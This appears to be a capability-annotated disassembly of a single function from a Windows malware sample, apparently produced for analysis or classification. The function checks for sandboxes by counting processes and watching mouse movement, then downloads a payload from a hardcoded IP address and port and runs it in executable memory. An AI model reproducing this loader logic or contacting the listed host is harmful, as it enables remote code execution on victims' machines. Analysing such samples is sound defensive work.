Function at 0x405030
Capabilities:
Contain obfuscated stackstrings
Create http request
Enumerate processes
Get http content length
Read data from internet
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44da75
mov eax, dword fs:[0]
push eax
sub esp, 0x1a4
mov eax, dword [0x46a040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
push esi
push str.adminahqszsr
call fcn.004057b0
inc esi
add esp, 8
cmp esi, 0x1e
jl 0x405060
lea eax, [ebp - 0x58]
push 0x30b4
push eax
call fcn.004044d0
add esp, 8
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], 0
mov eax, dword [eax + 8]
mov dword [0x46a00c], eax
jmp 0x40509a
jmp 0x40509d
jmp 0x4050a0
push str.Start_n
call fcn.004057b0
add esp, 4
call fcn.00403d50
test eax, eax
je 0x40578c
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x40511c
push 0x124
lea eax, [ebp - 0x17c]
mov dword [ebp - 0x180], 0x128
push 0
push eax
call fcn.0040d1e0
add esp, 0xc
lea eax, [ebp - 0x180]
xor esi, esi
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x405793
lea eax, [ebp - 0x180]
inc esi
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x405101
cmp esi, 0x28
jle 0x405793
push str.CreateThread
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x6e72656b
push eax
mov dword [ebp - 0x1c], 0x32336c65
mov dword [ebp - 0x18], 0x6c6c642e
mov byte [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 0
push 0x4038c0
push 0
push 0
call eax
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x1b0]
xorps xmm0, xmm0
push eax
movlpd qword [ebp - 0x19c], xmm0
call fcn.00404af0
add esp, 4
nop dword [eax]
lea eax, [ebp - 0x19c]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov ecx, dword [0x46af78]
mov edx, dword [0x46af7c]
test ecx, ecx
jne 0x4051ba
test edx, edx
jne 0x4051ba
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x198]
mov dword [0x46af78], eax
mov dword [0x46af7c], ecx
jmp 0x405180
mov esi, dword [ebp - 0x19c]
mov eax, esi
mov edi, dword [ebp - 0x198]
sub eax, ecx
mov ecx, edi
sub ecx, edx
cdq
xor eax, edx
sub eax, edx
cmp eax, 5
jg 0x405340
mov eax, ecx
cdq
xor eax, edx
sub eax, edx
cmp eax, 5
jg 0x405340
call fcn.00405f40
mov edi, edx
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x18c], edi
call fcn.00405f20
mov ecx, dword [ebp - 0x184]
mov esi, eax
mov dword [ebp - 0x188], esi
mov eax, edx
mov dword [ebp - 0x194], eax
cmp ecx, 0x989680
jne 0x40523a
test edi, edi
jne 0x40523a
mov edi, 0x64
mul edi
mov ecx, eax
mov eax, esi
mul edi
add ecx, edx
jmp 0x405315
cmp ecx, 0x16e3600
jne 0x4052bb
test edi, edi
jne 0x4052bb
push edi
push ecx
push eax
push esi
call fcn.0040af80
push 0
push 0x3b9aca00
mov esi, edx
mov edi, eax
push esi
push edi
call fcn.0040b110
push 0
push 0x16e3600
push esi
push edi
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x18c], edx
call fcn.0040b110
mov ecx, dword [ebp - 0x188]
sub ecx, eax
mov eax, dword [ebp - 0x194]
push 0
push 0x3b9aca00
sbb eax, edx
push eax
push ecx
call fcn.0040b110
push 0
push 0x16e3600
push edx
push eax
call fcn.0040af80
add eax, dword [ebp - 0x184]
mov ecx, edx
adc ecx, dword [ebp - 0x18c]
jmp 0x405315
push ebx
push edi
push ecx
push eax
push esi
call fcn.0040b030
mov edi, ebx
pop ebx
nop
push 0
push 0x3b9aca00
push edx
push eax
mov esi, ecx
call fcn.0040b110
push 0
push 0x3b9aca00
push edi
push esi
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x188], edx
call fcn.0040b110
push dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x184]
push ecx
push edx
push eax
call fcn.0040af80
add eax, dword [ebp - 0x194]
mov ecx, edx
adc ecx, dword [ebp - 0x188]
sub eax, dword [ebp - 0x1b0]
sbb ecx, dword [ebp - 0x1ac]
cmp ecx, 1
jl 0x405180
jg 0x40579a
cmp eax, 0x2a05f200
jae 0x40579a
jmp 0x405180
push 0x20
xorps xmm0, xmm0
mov dword [0x46af78], esi
push str.http:__121.62.18.25:6889_925.bin
lea ecx, [ebp - 0x3c]
mov dword [0x46af7c], edi
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
call fcn.00401f40
push 0
push 0
push 0
push 0
push str.Download
mov byte [ebp - 4], 1
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
mov dword [ebp - 0x184], edi
test edi, edi
jne 0x4053c1
push str.Failed_to_initialize_WinINet.
push 0x46b0e8
call fcn.00401ae0
push eax
call fcn.00402060
add esp, 0xc
mov dword [ebp - 0x188], 1
jmp 0x4055b7
cmp dword [ebp - 0x24], 7
lea eax, [ebp - 0x38]
push 0
cmova eax, dword [ebp - 0x38]
push 0x84000100
push 0
push 0
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
jne 0x405413
push str.Failed_to_open_URL.
push 0x46b0e8
call fcn.00401ae0
push eax
call fcn.00402060
add esp, 0xc
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x188], 1
jmp 0x4055b7
push 0
lea eax, [ebp - 0x1a0]
mov dword [ebp - 0x190], 0
push eax
lea eax, [ebp - 0x190]
mov dword [ebp - 0x1a0], 4
push eax
push 0x20000005
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x40547a
push str.Failed_to_get_file_size.
push 0x46b0e8
call fcn.00401ae0
push eax
call fcn.00402060
add esp, 0xc
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov dword [ebp - 0x188], 1
jmp 0x4055b7
push 4
push 0x3000
push dword [ebp - 0x190]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x4054cd
push str.Failed_to_allocate_memory.
push 0x46b0e8
call fcn.00401ae0
push eax
call fcn.00402060
add esp, 0xc
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x184]
call esi
mov dword [ebp - 0x188], 1
jmp 0x4055b7
lea eax, [ebp - 0x1a4]
mov dword [ebp - 0x1a4], 0
push eax
push dword [ebp - 0x190]
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x405536
push str.Failed_to_read_file.
push 0x46b0e8
call fcn.00401ae0
push eax
call fcn.00402060
add esp, 0xc
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x184]
call esi
mov dword [ebp - 0x188], 1
jmp 0x4055b7
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x184]
call esi
lea eax, [ebp - 0x1a8]
mov dword [ebp - 0x1a8], 0
push eax
push 0x20
push dword [ebp - 0x190]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40559d
push str.Failed_to_set_memory_page_protection.
push 0x46b0e8
call fcn.00401ae0
push eax
call fcn.00402060
add esp, 0xc
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x188], 1
jmp 0x4055b7
call edi
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x188], 0
push 3
lea ecx, [ebp - 0x18c]
call fcn.00405880
mov ecx, dword [ebp - 0x3c]
test ecx, ecx
je 0x4055ed
mov eax, dword [ecx + 4]
mov dword [ecx + 4], 0
test eax, eax
je 0x4055ed
nop dword [eax]
mov dword [eax], 0
mov eax, dword [eax + 4]
test eax, eax
jne 0x4055e0
lea ecx, [ebp - 0x18c]
call fcn.00405930
mov eax, dword [ebp - 0x24]
cmp eax, 7
jbe 0x405724
mov esi, dword [ebp - 0x38]
lea edi, [eax + 1]
test esi, esi
jne 0x405655
test edi, edi
je 0x405655
push str.null_pointer_cannot_point_to_a_block_of_non_zero_size
push 0x451648
push esi
push 0x3b3
push 0x451650
push 2
call fcn.00411860
add esp, 0x18
cmp eax, 1
jne 0x405637
int3
push 0
push 0x3b3
push str.C:Program_FilesMicrosoft_Visual_Studio2022ProfessionalVCToolsMSVC14.41.34120includexmemory
push 0x451784
push str._null_pointer_cannot_point_to_a_block_of_non_zero_size_
call fcn.00410b80
add esp, 0x14
add edi, edi
cmp edi, 0x1000
jb 0x40571a
mov eax, dword [esi - 4]
add edi, 0x27
cmp dword [esi - 8], 0xfafafafa
mov dword [ebp - 0x184], eax
je 0x4056c2
push str.invalid_argument
push 0x451648
push 0
push 0xb2
push 0x451650
push 2
call fcn.00411860
add esp, 0x18
cmp eax, 1
jne 0x40569e
int3
push 0
push 0xb2
push str.C:Program_FilesMicrosoft_Visual_Studio2022ProfessionalVCToolsMSVC14.41.34120includexmemory
push 0x451784
push str._invalid_argument_
call fcn.00410b80
mov eax, dword [ebp - 0x184]
add esp, 0x14
sub esi, eax
cmp esi, 8
jb 0x4056ce
cmp esi, 0x27
jbe 0x405718
push str.invalid_argument
push 0x451648
push 0
push 0xbc
push 0x451650
push 2
call fcn.00411860
add esp, 0x18
cmp eax, 1
jne 0x4056f4
int3
push 0
push 0xbc
push str.C:Program_FilesMicrosoft_Visual_Studio2022ProfessionalVCToolsMSVC14.41.34120includexmemory
push 0x451784
push str._invalid_argument_
call fcn.00410b80
mov eax, dword [ebp - 0x184]
add esp, 0x14
mov esi, eax
push edi
push esi
call fcn.0040a780
add esp, 8
xor eax, eax
mov dword [ebp - 0x28], 0
mov word [ebp - 0x38], ax
mov eax, dword [ebp - 0x3c]
push 8
push eax
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x3c], 0
call fcn.0040a780
add esp, 8
lea ecx, [ebp - 0x58]
call fcn.00403ae0
mov ecx, dword [ebp - 0x58]
push 8
push ecx
mov dword [ebp - 0x58], 0
call fcn.0040a780
mov eax, dword [ebp - 0x188]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040af70
mov esp, ebp
pop ebp
ret
push 1
call fcn.00412370
push 1
call fcn.00412370
push 1
call fcn.00412370
int3